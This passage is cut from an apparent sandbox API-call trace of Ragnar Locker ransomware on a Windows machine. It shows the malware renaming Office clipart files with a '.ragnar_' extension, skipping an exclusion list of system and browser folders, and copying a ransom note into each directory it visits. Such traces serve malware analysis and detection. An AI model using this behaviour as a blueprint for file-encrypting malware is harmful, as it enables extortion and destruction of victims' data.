nNumberOfBytesToLockHigh=0x0) returned 1 [0093.268] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.268] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.268] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.268] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.268] GetProcessHeap () returned 0x580000 [0093.268] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.268] CloseHandle (hObject=0xf4) returned 1 [0093.268] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" [0093.268] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.ragnar_FD7BD9FC" [0093.269] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.269] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0093.269] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.269] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0093.269] lstrcmpiW (lpString1="Publisher", lpString2=".") returned 1 [0093.269] lstrcmpiW (lpString1="Publisher", lpString2="..") returned 1 [0093.269] lstrcmpiW (lpString1="Publisher", lpString2="Windows") returned -1 [0093.269] lstrcmpiW (lpString1="Publisher", lpString2="Windows.old") returned -1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Tor browser") returned -1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Internet Explorer") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Google") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Opera") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Opera Software") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Mozilla") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="Mozilla Firefox") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="$Recycle.Bin") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="ProgramData") returned 1 [0093.270] lstrcmpiW (lpString1="Publisher", lpString2="All Users") returned 1 [0093.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x31 [0093.270] lstrcpyW (in: lpString1=0x1ec0f4, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher" [0093.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0093.270] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0093.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RGNR_FD7BD9FC.txt" [0093.270] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0093.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*" [0093.274] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0093.274] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.274] lstrcpyW (in: lpString1=0x1eb21c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.274] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.274] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.274] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.274] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.274] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0093.274] lstrcmpiW (lpString1="Backgrounds", lpString2=".") returned 1 [0093.274] lstrcmpiW (lpString1="Backgrounds", lpString2="..") returned 1 [0093.274] lstrcmpiW (lpString1="Backgrounds", lpString2="Windows") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Windows.old") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Tor browser") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Internet Explorer") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Google") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Opera") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Opera Software") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Mozilla") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="Mozilla Firefox") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="$Recycle.Bin") returned 1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="ProgramData") returned -1 [0093.275] lstrcmpiW (lpString1="Backgrounds", lpString2="All Users") returned 1 [0093.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0093.275] lstrcpyW (in: lpString1=0x1eb630, lpString2="Backgrounds" | out: lpString1="Backgrounds") returned="Backgrounds" [0093.275] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0093.275] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0093.275] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\RGNR_FD7BD9FC.txt" [0093.275] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0093.280] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*" [0093.280] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.280] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.280] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0093.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0093.280] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0093.280] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89d65b60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.280] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0093.280] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0093.280] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0093.280] lstrcmpiW (lpString1="J0143743.GIF", lpString2=".") returned 1 [0093.280] lstrcmpiW (lpString1="J0143743.GIF", lpString2="..") returned 1 [0093.280] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0093.280] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".") returned 1 [0093.280] lstrcmpiW (lpString1="J0143744.GIF", lpString2="..") returned 1 [0093.280] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0093.280] lstrcmpiW (lpString1="J0143745.GIF", lpString2=".") returned 1 [0093.280] lstrcmpiW (lpString1="J0143745.GIF", lpString2="..") returned 1 [0093.280] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0093.280] lstrcmpiW (lpString1="J0143746.GIF", lpString2=".") returned 1 [0093.280] lstrcmpiW (lpString1="J0143746.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143748.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143748.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143749.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143749.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143750.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143750.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143752.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143752.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143753.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143753.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143754.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143754.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="J0143758.GIF", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="J0143758.GIF", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d65b60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89d65b60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.281] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.281] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0093.281] lstrcmpiW (lpString1="WB00516L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00516L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB00531L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00531L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB00673L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00673L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB00703L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00703L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0093.282] lstrcmpiW (lpString1="WB00760L.GIF", lpString2=".") returned 1 [0093.282] lstrcmpiW (lpString1="WB00760L.GIF", lpString2="..") returned 1 [0093.282] FindNextFileW (in: hFindFile=0x5a1368, 